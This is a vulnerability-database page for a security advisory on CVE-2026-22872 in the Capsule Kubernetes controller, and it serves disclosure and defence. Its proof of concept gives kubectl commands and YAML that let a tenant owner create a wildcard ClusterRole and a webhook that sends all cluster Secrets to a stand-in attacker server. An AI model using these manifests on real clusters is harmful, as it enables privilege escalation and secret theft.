GHSA-QJJM-7J9W-PW72

Vulnerability from github – Published: 2026-05-28 17:02 – Updated: 2026-06-09 10:50

Summary

Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Details

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.

Details

Vulnerability Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core Issues

Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin
Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field
Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable Code Analysis

// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

PoC

Environment Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges

kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains:

roleRef:
  kind: ClusterRole
  name: cluster-admin  # Controller has full cluster management privileges

Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource:

kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

Actual output:

yes

Verify bob cannot create ClusterRole:

kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

Verify bob cannot create ValidatingWebhook:

kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-clusterrole created

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation

kubectl get clusterrole malicious-clusterrole

Actual output:

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

View details:

kubectl get clusterrole malicious-clusterrole -o yaml

Key output:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-webhook created

Step 8: Verify Webhook Creation

kubectl get validatingwebhookconfiguration malicious-webhook

Actual output:

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

Steal Secret data from all tenants (database passwords, API keys, etc.)
Modify Secret contents
Deny legitimate Secret creation requests, achieving DoS attacks

Impact

Affected Scope

This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource

Security Impact

Cross-Tenant Privilege Escalation
Create ClusterRole to gain cluster-level privileges
Break tenant isolation boundaries
Access all resources of other tenants
Large-Scale Sensitive Data Theft
Intercept all Secret creation/update requests through malicious Webhook
Steal passwords, API keys, certificates, etc. across the entire cluster
Real-time monitoring of all tenant sensitive operations
Cluster-Level Denial of Service
Deny all API requests through Webhook
Make the entire cluster unavailable
Impact all tenants
Cluster Pollution
Create malicious CRDs
Modify StorageClass
Impact cluster stability
Persistent Backdoor
Created cluster-scoped resources persist
Even if TenantResource is deleted, ClusterRole and other resources remain
Difficult to detect and remove

Limiting Factors

Requires Tenant Owner privileges
Requires Capsule Controller running with cluster-admin privileges (default configuration)
Some clusters may have additional admission controllers blocking malicious resources

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:02:55Z",
    "nvd_published_at": "2026-06-01T19:16:21Z",
    "severity": "MODERATE"
  },
  "details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  \u2193\nCreates TenantResource containing cluster-scoped resources\n  \u2193\nCapsule Controller (cluster-admin) processes RawItems\n  \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
  "id": "GHSA-qjjm-7j9w-pw72",
  "modified": "2026-06-09T10:50:44Z",
  "published": "2026-05-28T17:02:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}

CVE-2026-22872 (GCVE-0-2026-22872)

Vulnerability from cvelistv5 – Published: 2026-06-01 17:42 – Updated: 2026-06-02 12:45

Title

Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

Capsule is a multi-tenancy and policy-based framework for Kubernetes. The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Prior to version 0.13.0, tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks. The attack vector has a few limiting factors. This attack requires Tenant Owner privileges and requires Capsule Controller running with cluster-admin privileges (default configuration). Additionally, some clusters may have additional admission controllers blocking malicious resources. Version 0.13.0 patches this issue.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-02 12:45 UTC

CWE

CWE-20 - Improper Input Validation
CWE-863 - Incorrect Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7814 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/projectcapsule/capsule/securit…	x_refsource_CONFIRM
https://github.com/projectcapsule/capsule/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
projectcapsule	capsule	Affected: < 0.13.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-22872",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-02T12:45:37.635453Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-02T12:45:53.146Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "capsule",
          "vendor": "projectcapsule",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.13.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Prior to version 0.13.0, tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks. The attack vector has a few limiting factors. This attack requires Tenant Owner privileges and requires Capsule Controller running with cluster-admin privileges (default configuration). Additionally, some clusters may have additional admission controllers blocking malicious resources. Version 0.13.0 patches this issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "HIGH",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-01T17:42:38.376Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
        },
        {
          "name": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
        }
      ],
      "source": {
        "advisory": "GHSA-qjjm-7j9w-pw72",
        "discovery": "UNKNOWN"
      },
      "title": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-22872",
    "datePublished": "2026-06-01T17:42:38.376Z",
    "dateReserved": "2026-01-12T16:20:16.747Z",
    "dateUpdated": "2026-06-02T12:45:53.146Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-QJJM-7J9W-PW72

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

Details

Vulnerability Location

Core Issues

Vulnerable Code Analysis

Attack Chain

PoC

Environment Setup

Step 1: Verify Capsule Controller Privileges

Step 2: Install Capsule and Create Test Tenant

Step 3: Verify bob's Permission Restrictions

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Step 5: Verify ClusterRole Creation

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Step 8: Verify Webhook Creation

Step 9: Exploit Webhook to Steal Sensitive Data

Impact

Affected Scope

Security Impact

Limiting Factors

CVE-2026-22872 (GCVE-0-2026-22872)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour